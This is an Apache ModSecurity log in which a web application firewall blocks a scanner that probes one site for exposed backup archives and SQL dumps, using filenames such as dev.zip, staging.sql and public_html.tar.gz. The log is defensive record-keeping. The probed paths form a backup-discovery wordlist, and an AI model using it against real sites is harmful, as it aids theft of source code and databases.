[Fri May 15 09:58:17.322514 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:49478] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.gz"] [unique_id "agZ9uQe36qIGegR4kcmBDQAAAFg"]
[Fri May 15 09:58:17.977297 2026] [:error] [pid 1188:tid 1210] [client 34.97.8.90:49484] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.bz2"] [unique_id "agZ9udY68iW8yuNkNzPwwAAAAA0"]
[Fri May 15 09:58:18.705186 2026] [:error] [pid 1188:tid 1215] [client 34.97.8.90:49490] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.zst"] [unique_id "agZ9utY68iW8yuNkNzPwwQAAABI"]
[Fri May 15 09:58:19.387745 2026] [:error] [pid 1188:tid 1209] [client 34.97.8.90:49500] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.sql.gz"] [unique_id "agZ9u9Y68iW8yuNkNzPwwgAAAAw"]
[Fri May 15 09:58:20.140801 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:49514] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.sql.bz2"] [unique_id "agZ9vAe36qIGegR4kcmBEAAAAEI"]
[Fri May 15 09:58:20.866382 2026] [:error] [pid 1188:tid 1219] [client 34.97.8.90:49522] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/old.sql"] [unique_id "agZ9vNY68iW8yuNkNzPwxQAAABY"]
[Fri May 15 09:58:21.602337 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:49538] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.zip"] [unique_id "agZ9vdqiXrD7hne4gFbJWQAAAJg"]
[Fri May 15 09:58:22.339311 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:49544] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.tar.gz"] [unique_id "agZ9vge36qIGegR4kcmBFQAAAFQ"]
[Fri May 15 09:58:23.057915 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:49546] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.tgz"] [unique_id "agZ9v9mMhqLvs0GYixkbuwAAANY"]
[Fri May 15 09:58:23.761709 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:49550] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.tar"] [unique_id "agZ9v972N9CbeiqcqgPUPQAAAUs"]
[Fri May 15 09:58:24.396665 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:49552] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.tar.bz2"] [unique_id "agZ9wB3WbFwE6voqGzrj_gAAARU"]
[Fri May 15 09:58:25.100321 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:47954] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.tar.xz"] [unique_id "agZ9wQe36qIGegR4kcmBGgAAAEg"]
[Fri May 15 09:58:25.767660 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:47966] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.7z"] [unique_id "agZ9wQe36qIGegR4kcmBGwAAAE8"]
[Fri May 15 09:58:26.475930 2026] [:error] [pid 1295:tid 1298] [client 34.97.8.90:47976] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.rar"] [unique_id "agZ9wtmMhqLvs0GYixkbvAAAAMA"]
[Fri May 15 09:58:27.134072 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:47978] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.gz"] [unique_id "agZ9wwe36qIGegR4kcmBHwAAAEw"]
[Fri May 15 09:58:27.757436 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:47992] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.bz2"] [unique_id "agZ9w9qiXrD7hne4gFbJWwAAAIY"]
[Fri May 15 09:58:28.404135 2026] [:error] [pid 50531:tid 50545] [client 34.97.8.90:47994] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.zst"] [unique_id "agZ9xB3WbFwE6voqGzrkAgAAAQw"]
[Fri May 15 09:58:29.015852 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:48006] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.sql.gz"] [unique_id "agZ9xQe36qIGegR4kcmBIQAAAEs"]
[Fri May 15 09:58:29.634702 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:48010] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.sql.bz2"] [unique_id "agZ9xR3WbFwE6voqGzrkAwAAAQI"]
[Fri May 15 09:58:30.326632 2026] [:error] [pid 1190:tid 1260] [client 34.97.8.90:48012] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.sql"] [unique_id "agZ9xtqiXrD7hne4gFbJXAAAAIg"]
[Fri May 15 09:58:30.989743 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:48022] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.zip"] [unique_id "agZ9xh3WbFwE6voqGzrkBAAAARg"]
[Fri May 15 09:58:31.633012 2026] [:error] [pid 1188:tid 1205] [client 34.97.8.90:48024] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.tar.gz"] [unique_id "agZ9x9Y68iW8yuNkNzPwyQAAAAg"]
[Fri May 15 09:58:32.320725 2026] [:error] [pid 1189:tid 1241] [client 34.97.8.90:48038] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.tgz"] [unique_id "agZ9yAe36qIGegR4kcmBJAAAAFA"]
[Fri May 15 09:58:33.004552 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:48050] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.tar"] [unique_id "agZ9ydmMhqLvs0GYixkbwAAAAM4"]
[Fri May 15 09:58:33.712301 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:48062] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.tar.bz2"] [unique_id "agZ9ydY68iW8yuNkNzPwywAAABQ"]
[Fri May 15 09:58:34.504726 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:48068] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.tar.xz"] [unique_id "agZ9yh3WbFwE6voqGzrkBgAAAQs"]
[Fri May 15 09:58:35.223658 2026] [:error] [pid 50531:tid 50555] [client 34.97.8.90:41934] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.7z"] [unique_id "agZ9yx3WbFwE6voqGzrkBwAAARY"]
[Fri May 15 09:58:36.011214 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:41938] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.rar"] [unique_id "agZ9zAe36qIGegR4kcmBLAAAAEI"]
[Fri May 15 09:58:36.780465 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:41942] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.gz"] [unique_id "agZ9zNmMhqLvs0GYixkbxAAAAM0"]
[Fri May 15 09:58:40.744994 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:41968] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/test.sql"] [unique_id "agZ90Ae36qIGegR4kcmBMwAAAE0"]
[Fri May 15 09:58:46.537835 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:53000] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.rar"] [unique_id "agZ91ge36qIGegR4kcmBPQAAAFY"]
[Fri May 15 09:58:47.279870 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:53006] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.gz"] [unique_id "agZ91x3WbFwE6voqGzrkDgAAAQI"]
[Fri May 15 09:58:48.014488 2026] [:error] [pid 50531:tid 50557] [client 34.97.8.90:53014] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.bz2"] [unique_id "agZ92B3WbFwE6voqGzrkDwAAARg"]
[Fri May 15 09:58:48.795087 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:53024] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.zst"] [unique_id "agZ92NmMhqLvs0GYixkbywAAANE"]
[Fri May 15 09:58:49.513877 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:53026] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.sql.gz"] [unique_id "agZ92dmMhqLvs0GYixkbzAAAAM4"]
[Fri May 15 09:58:50.280686 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:53034] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.sql.bz2"] [unique_id "agZ92ge36qIGegR4kcmBPwAAAEM"]
[Fri May 15 09:58:51.031483 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:53046] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/staging.sql"] [unique_id "agZ92we36qIGegR4kcmBQgAAAEw"]
[Fri May 15 09:58:51.800252 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:53062] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.zip"] [unique_id "agZ929mMhqLvs0GYixkbzQAAAMw"]
[Fri May 15 09:58:52.509432 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:53074] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.tar.gz"] [unique_id "agZ93NqiXrD7hne4gFbJZwAAAIE"]
[Fri May 15 09:58:53.277357 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:53080] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.tgz"] [unique_id "agZ93Qe36qIGegR4kcmBRwAAAFE"]
[Fri May 15 09:58:54.054788 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:53088] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.tar"] [unique_id "agZ93tmMhqLvs0GYixkb0AAAAMc"]
[Fri May 15 09:58:54.805628 2026] [:error] [pid 50531:tid 50551] [client 34.97.8.90:53096] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.tar.bz2"] [unique_id "agZ93h3WbFwE6voqGzrkEwAAARI"]
[Fri May 15 09:58:55.581729 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:50012] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.tar.xz"] [unique_id "agZ93x3WbFwE6voqGzrkFAAAAQ8"]
[Fri May 15 09:58:56.313506 2026] [:error] [pid 1295:tid 1322] [client 34.97.8.90:50016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.7z"] [unique_id "agZ94NmMhqLvs0GYixkb1AAAANg"]
[Fri May 15 09:58:57.052576 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:50018] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.rar"] [unique_id "agZ94d72N9CbeiqcqgPUTAAAAVA"]
[Fri May 15 09:58:57.797909 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:50020] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.gz"] [unique_id "agZ94d72N9CbeiqcqgPUTwAAAVU"]
[Fri May 15 09:58:58.537611 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:50030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.bz2"] [unique_id "agZ94t72N9CbeiqcqgPUUQAAAUQ"]
[Fri May 15 09:58:59.251848 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:50042] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.zst"] [unique_id "agZ94972N9CbeiqcqgPUUwAAAU0"]
[Fri May 15 09:58:59.959797 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:50050] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.sql.gz"] [unique_id "agZ94we36qIGegR4kcmBTAAAAE4"]
[Fri May 15 09:59:00.721103 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:50054] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.sql.bz2"] [unique_id "agZ95Ae36qIGegR4kcmBTQAAAEM"]
[Fri May 15 09:59:01.464536 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:50056] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htdocs.sql"] [unique_id "agZ95Qe36qIGegR4kcmBTgAAAE8"]
[Fri May 15 09:59:02.201103 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:50066] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.zip"] [unique_id "agZ95t72N9CbeiqcqgPUYQAAAUI"]
[Fri May 15 09:59:02.922793 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:50070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.tar.gz"] [unique_id "agZ95ge36qIGegR4kcmBUQAAAEQ"]
[Fri May 15 09:59:03.652557 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:50082] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.tgz"] [unique_id "agZ959qiXrD7hne4gFbJaQAAAIk"]
[Fri May 15 09:59:04.373688 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:50086] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.tar"] [unique_id "agZ96N72N9CbeiqcqgPUbQAAAVM"]
[Fri May 15 09:59:05.133628 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:37746] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.tar.bz2"] [unique_id "agZ96Qe36qIGegR4kcmBUwAAAEE"]
